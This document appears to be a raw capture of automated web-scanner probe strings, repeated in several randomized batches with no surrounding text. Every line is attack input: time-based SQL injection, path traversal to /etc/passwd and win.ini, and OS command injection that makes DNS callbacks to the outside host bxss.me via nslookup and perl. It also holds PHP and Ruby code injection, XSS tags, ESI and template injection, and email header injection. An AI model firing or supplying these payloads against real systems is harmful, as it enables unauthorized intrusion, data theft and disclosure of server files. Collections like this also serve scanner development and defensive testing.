hOxalz3j

1*

1*

1*

1*

-1 OR 2+513-513-1=0+0+0+1

-1 OR 3+513-513-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

dHnvB3Sg'; waitfor delay '0:0:15' --

-5 OR 210=(SELECT 210 FROM PG_SLEEP(15))--

-5) OR 622=(SELECT 622 FROM PG_SLEEP(15))--

-1)) OR 956=(SELECT 956 FROM PG_SLEEP(15))--

LKBFXxz3' OR 343=(SELECT 343 FROM PG_SLEEP(15))--

742ZgAjK') OR 497=(SELECT 497 FROM PG_SLEEP(15))--

psHoIyOu')) OR 517=(SELECT 517 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@gkCGE

adiW7vTg

1*

1*

1*

1*

-1 OR 2+400-400-1=0+0+0+1

-1 OR 3+400-400-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

qdBRvwDQ'; waitfor delay '0:0:15' --

-5 OR 408=(SELECT 408 FROM PG_SLEEP(15))--

-5) OR 921=(SELECT 921 FROM PG_SLEEP(15))--

-1)) OR 388=(SELECT 388 FROM PG_SLEEP(15))--

4GJx546i' OR 311=(SELECT 311 FROM PG_SLEEP(15))--

uNQyjGfC') OR 725=(SELECT 725 FROM PG_SLEEP(15))--

tnvrWKjz')) OR 105=(SELECT 105 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@JQzh0

1ls8FXyxO

Xmc3FyE4

response.write(9403036*9047613)

bcc:074625.67-9330.67.026df.19990.2@bxss.me

<esi:include src="http://bxss.me/rpb.png"/>

${9999553+9999573}

'+response.write(9403036*9047613)+'

to@example.com>
bcc:074625.67-9331.67.026df.19990.2@bxss.me

"+response.write(9403036*9047613)+"

&n989731=v940519

ctime
sleep
p0
(I30
tp1
Rp2
.

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

'.gethostbyname(lc('hitfg'.'gpmbwyfq14d6e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(113).chr(65).chr(121).chr(81).'

file:///etc/passwd

)

".gethostbyname(lc("hitac"."gquzvokw62e05.bxss.me."))."A".chr(67).chr(hex("58")).chr(103).chr(72).chr(107).chr(82)."

!(()&&!|*|*|

../

^(#$!@#$)(()))******

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

HttP://bxss.me/t/xss.html?%00

echo ujbscb$()\ qrtypt\nz^xyu||a #' &echo ujbscb$()\ qrtypt\nz^xyu||a #|" &echo ujbscb$()\ qrtypt\nz^xyu||a #

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

"+"A".concat(70-3).concat(22*4).concat(113).concat(65).concat(101).concat(68)+(require"socket"
Socket.gethostbyname("hitkf"+"cxwsoukiab95b.bxss.me.")[3].to_s)+"

bxss.me/t/xss.html?%00

&echo odtvrd$()\ icmfvt\nz^xyu||a #' &echo odtvrd$()\ icmfvt\nz^xyu||a #|" &echo odtvrd$()\ icmfvt\nz^xyu||a #

Http://bxss.me/t/fit.txt

'+'A'.concat(70-3).concat(22*4).concat(105).concat(70).concat(116).concat(65)+(require'socket'
Socket.gethostbyname('hitmx'+'ncbgwyhv3f0cb.bxss.me.')[3].to_s)+'

|echo uioodq$()\ hziulk\nz^xyu||a #' |echo uioodq$()\ hziulk\nz^xyu||a #|" |echo uioodq$()\ hziulk\nz^xyu||a #

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

http://bxss.me/t/fit.txt?.jpg

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

xfs.bxss.me

(nslookup hitpnvjzcghogc90b8.bxss.me||perl -e "gethostbyname('hitpnvjzcghogc90b8.bxss.me')")

/etc/shells

';print(md5(31337));$a='

$(nslookup hitkotaqnqqrz981e5.bxss.me||perl -e "gethostbyname('hitkotaqnqqrz981e5.bxss.me')")

replies

c:/windows/win.ini

";print(md5(31337));$a="

&nslookup hitklgxddkgenf57b8.bxss.me&'\"`0&nslookup hitklgxddkgenf57b8.bxss.me&`'

replies

bxss.me

${@print(md5(31337))}

&(nslookup hitwdthliqxrw55ad8.bxss.me||perl -e "gethostbyname('hitwdthliqxrw55ad8.bxss.me')")&'\"`0&(nslookup hitwdthliqxrw55ad8.bxss.me||perl -e "gethostbyname('hitwdthliqxrw55ad8.bxss.me')")&`'

replies/.

'"

${@print(md5(31337))}\

|(nslookup hityefuvneerm17e0f.bxss.me||perl -e "gethostbyname('hityefuvneerm17e0f.bxss.me')")

<!--

'.print(md5(31337)).'

`(nslookup hitvvggzgwyay9994b.bxss.me||perl -e "gethostbyname('hitvvggzgwyay9994b.bxss.me')")`

;(nslookup hitzvdzuzqftqf6e33.bxss.me||perl -e "gethostbyname('hitzvdzuzqftqf6e33.bxss.me')")|(nslookup hitzvdzuzqftqf6e33.bxss.me||perl -e "gethostbyname('hitzvdzuzqftqf6e33.bxss.me')")&(nslookup hitzvdzuzqftqf6e33.bxss.me||perl -e "gethostbyname('hitzvdzuzqftqf6e33.bxss.me')")

'"()&%<zzz><ScRiPt >A0G9(9911)</ScRiPt>

'"()&%<zzz><ScRiPt >A0G9(9939)</ScRiPt>

9767805

'"()

'&&sleep(27*1000)*eaozls&&'

"&&sleep(27*1000)*mzvlxh&&"

'||sleep(27*1000)*fmblke||'

"||sleep(27*1000)*myvhfh||"

gvl1pEig

1*

1*

1*

1*

-1 OR 2+684-684-1=0+0+0+1

-1 OR 3+684-684-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

eCtGKGlx'; waitfor delay '0:0:15' --

-5 OR 42=(SELECT 42 FROM PG_SLEEP(15))--

-5) OR 604=(SELECT 604 FROM PG_SLEEP(15))--

-1)) OR 665=(SELECT 665 FROM PG_SLEEP(15))--

R31CBj8e' OR 202=(SELECT 202 FROM PG_SLEEP(15))--

K28ch9UK') OR 724=(SELECT 724 FROM PG_SLEEP(15))--

yWAkrMZD')) OR 491=(SELECT 491 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@Ha2pW

1k3LhmiSO

response.write(9713621*9042244)

'+response.write(9713621*9042244)+'

"+response.write(9713621*9042244)+"

%0abcc:074625.67-10293.67.969f4.19990.2@bxss.me

../../../../../../../../../../../../../../etc/passwd

to@example.com>%0d%0abcc:074625.67-10294.67.969f4.19990.2@bxss.me

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

../../../../../../../../../../../../../../../proc/version

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

../../../../../../../../../../etc/passwd%00.jpg

<esi:include src="http://bxss.me/rpb.png"/>

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

echo jgcnbw$()\ vrvswn\nz^xyu||a #' &echo jgcnbw$()\ vrvswn\nz^xyu||a #|" &echo jgcnbw$()\ vrvswn\nz^xyu||a #

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

${10000116+9999222}

&echo lqdujk$()\ crpdfu\nz^xyu||a #' &echo lqdujk$()\ crpdfu\nz^xyu||a #|" &echo lqdujk$()\ crpdfu\nz^xyu||a #

/etc/passwd

|echo exbltl$()\ leslbf\nz^xyu||a #' |echo exbltl$()\ leslbf\nz^xyu||a #|" |echo exbltl$()\ leslbf\nz^xyu||a #

%2fetc%2fpasswd

(nslookup hitsqjrhytjure60b0.bxss.me||perl -e "gethostbyname('hitsqjrhytjure60b0.bxss.me')")

/.././.././.././.././.././.././.././../etc/./passwd%00

$(nslookup hitzxyzbrosfa9649f.bxss.me||perl -e "gethostbyname('hitzxyzbrosfa9649f.bxss.me')")

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

&nslookup hitjsxnsftnrl94398.bxss.me&'\"`0&nslookup hitjsxnsftnrl94398.bxss.me&`'

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

&(nslookup hitlonjtykcqqf20cf.bxss.me||perl -e "gethostbyname('hitlonjtykcqqf20cf.bxss.me')")&'\"`0&(nslookup hitlonjtykcqqf20cf.bxss.me||perl -e "gethostbyname('hitlonjtykcqqf20cf.bxss.me')")&`'

../././../././../././../././../././../././../././../././../././../././etc/passwd

|(nslookup hitaxrqfvpwfmc7a1e.bxss.me||perl -e "gethostbyname('hitaxrqfvpwfmc7a1e.bxss.me')")

..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%afetc/passwd

`(nslookup hitjjjtmxneov095fe.bxss.me||perl -e "gethostbyname('hitjjjtmxneov095fe.bxss.me')")`

)

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

;(nslookup hitiiwyvyknvx5816c.bxss.me||perl -e "gethostbyname('hitiiwyvyknvx5816c.bxss.me')")|(nslookup hitiiwyvyknvx5816c.bxss.me||perl -e "gethostbyname('hitiiwyvyknvx5816c.bxss.me')")&(nslookup hitiiwyvyknvx5816c.bxss.me||perl -e "gethostbyname('hitiiwyvyknvx5816c.bxss.me')")

!(()&&!|*|*|

file:///etc/passwd

^(#$!@#$)(()))******

/\../\../\../\../\../\../\../etc/passwd

/WEB-INF/web.xml

C:\WINDOWS\system32\drivers\etc\hosts

../../../../../../../../../../windows/win.ini%00.jpg

/../../../../../../../../../../boot.ini

'.gethostbyname(lc('hitna'.'unwygrpdc2a5b.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(112).chr(80).chr(104).chr(79).'

%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%af%c0%ae%c0%ae%c0%afwindows%c0%afwin.ini

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%3F.jpg

".gethostbyname(lc("hitth"."oqyasggs407a7.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(76).chr(109).chr(87)."

..\..\..\..\..\..\..\..\windows\win.ini

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs%00.jpg

..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cwindows%5cwin.ini

Http://bxss.me/t/fit.txt

/.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini

http://bxss.me/t/fit.txt%3F.jpg

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

/etc/shells

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

c:/windows/win.ini

unexisting/../../../../../../../../../../windows/win.ini.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\.\

bxss.me

WEB-INF/web.xml

HttP://bxss.me/t/xss.html?%00

"+"A".concat(70-3).concat(22*4).concat(114).concat(90).concat(121).concat(74)+(require"socket"
Socket.gethostbyname("hitdd"+"amayibpt6819b.bxss.me.")[3].to_s)+"

WEB-INF\web.xml

bxss.me/t/xss.html?%00

'+'A'.concat(70-3).concat(22*4).concat(108).concat(72).concat(100).concat(84)+(require'socket'
Socket.gethostbyname('hitgh'+'ndknfzmi6dee5.bxss.me.')[3].to_s)+'

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

'"

';print(md5(31337));$a='

<!--

";print(md5(31337));$a="

${@print(md5(31337))}

${@print(md5(31337))}\

'.print(md5(31337)).'

1

1

-1 OR 2+145-145-1=0+0+0+1 --

-1 OR 3+145-145-1=0+0+0+1 --

-1 OR 2+715-715-1=0+0+0+1

-1 OR 3+715-715-1=0+0+0+1

-1' OR 2+573-573-1=0+0+0+1 --

-1' OR 3+573-573-1=0+0+0+1 --

-1' OR 2+547-547-1=0+0+0+1 or '3wPl82Y4'='

-1' OR 3+547-547-1=0+0+0+1 or '3wPl82Y4'='

-1" OR 2+192-192-1=0+0+0+1 --

-1" OR 3+192-192-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

9XPZklVf'; waitfor delay '0:0:15' --

-5 OR 823=(SELECT 823 FROM PG_SLEEP(15))--

-5) OR 637=(SELECT 637 FROM PG_SLEEP(15))--

-1)) OR 220=(SELECT 220 FROM PG_SLEEP(15))--

ZBfh7c9V' OR 410=(SELECT 410 FROM PG_SLEEP(15))--

V0NxUwov') OR 993=(SELECT 993 FROM PG_SLEEP(15))--

WwgUOT52')) OR 324=(SELECT 324 FROM PG_SLEEP(15))--

1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@W4qOy

1

1

1

u4pqw3RQ

1*

1*

1*

1*

-1 OR 2+670-670-1=0+0+0+1

-1 OR 3+670-670-1=0+0+0+1

1'"

@@gHuvH

maMPKxXa

1*

1*

1*

1*

-1 OR 2+711-711-1=0+0+0+1

-1 OR 3+711-711-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

CZdTsVGT'; waitfor delay '0:0:15' --

-5 OR 402=(SELECT 402 FROM PG_SLEEP(15))--

-5) OR 887=(SELECT 887 FROM PG_SLEEP(15))--

-1)) OR 632=(SELECT 632 FROM PG_SLEEP(15))--

Iv8IG2UR' OR 300=(SELECT 300 FROM PG_SLEEP(15))--

WJNC6eie') OR 417=(SELECT 417 FROM PG_SLEEP(15))--

BS0IUpYd')) OR 490=(SELECT 490 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@UX5M7

fsNJrhLr

1*

1*

1*

1*

-1 OR 2+371-371-1=0+0+0+1

-1 OR 3+371-371-1=0+0+0+1

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

t9DJ40ya'; waitfor delay '0:0:15' --

-5 OR 467=(SELECT 467 FROM PG_SLEEP(15))--

-5) OR 377=(SELECT 377 FROM PG_SLEEP(15))--

-1)) OR 37=(SELECT 37 FROM PG_SLEEP(15))--

yWKhoQ0a' OR 670=(SELECT 670 FROM PG_SLEEP(15))--

OvuPO2JX') OR 881=(SELECT 881 FROM PG_SLEEP(15))--

z1jrZGKH')) OR 724=(SELECT 724 FROM PG_SLEEP(15))--

*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

'||(select 1 from (select pg_sleep(15))x)||'

''||(select 1 from (select pg_sleep(15))x)||''

1'"

@@O7iw2

1PI80GKLO

response.write(9923414*9458159)

'+response.write(9923414*9458159)+'

"+response.write(9923414*9458159)+"

%0abcc:074625.67-10282.67.f4cfe.19990.2@bxss.me

to@example.com>%0d%0abcc:074625.67-10283.67.f4cfe.19990.2@bxss.me

../../../../../../../../../../../../../../etc/passwd

../../../../../../../../../../../../../../windows/win.ini

file:///etc/passwd

../../../../../../../../../../../../../../../proc/version

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

../../../../../../../../../../etc/passwd%00.jpg

echo ledfry$()\ rmlply\nz^xyu||a #' &echo ledfry$()\ rmlply\nz^xyu||a #|" &echo ledfry$()\ rmlply\nz^xyu||a #

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

&echo eanrdd$()\ zshrvr\nz^xyu||a #' &echo eanrdd$()\ zshrvr\nz^xyu||a #|" &echo eanrdd$()\ zshrvr\nz^xyu||a #

/../..//../..//../..//../..//../..//etc/passwd%00.jpg

|echo otwzqj$()\ ccefid\nz^xyu||a #' |echo otwzqj$()\ ccefid\nz^xyu||a #|" |echo otwzqj$()\ ccefid\nz^xyu||a #

.\\./.\\./.\\./.\\./.\\./.\\./etc/passwd

(nslookup hitfmmpejbhpfbc11c.bxss.me||perl -e "gethostbyname('hitfmmpejbhpfbc11c.bxss.me')")

/etc/passwd

$(nslookup hitjplyfmngqb55c13.bxss.me||perl -e "gethostbyname('hitjplyfmngqb55c13.bxss.me')")

%2fetc%2fpasswd

<esi:include src="http://bxss.me/rpb.png"/>

&nslookup hitkynvxinfptcb872.bxss.me&'\"`0&nslookup hitkynvxinfptcb872.bxss.me&`'

/.././.././.././.././.././.././.././../etc/./passwd%00

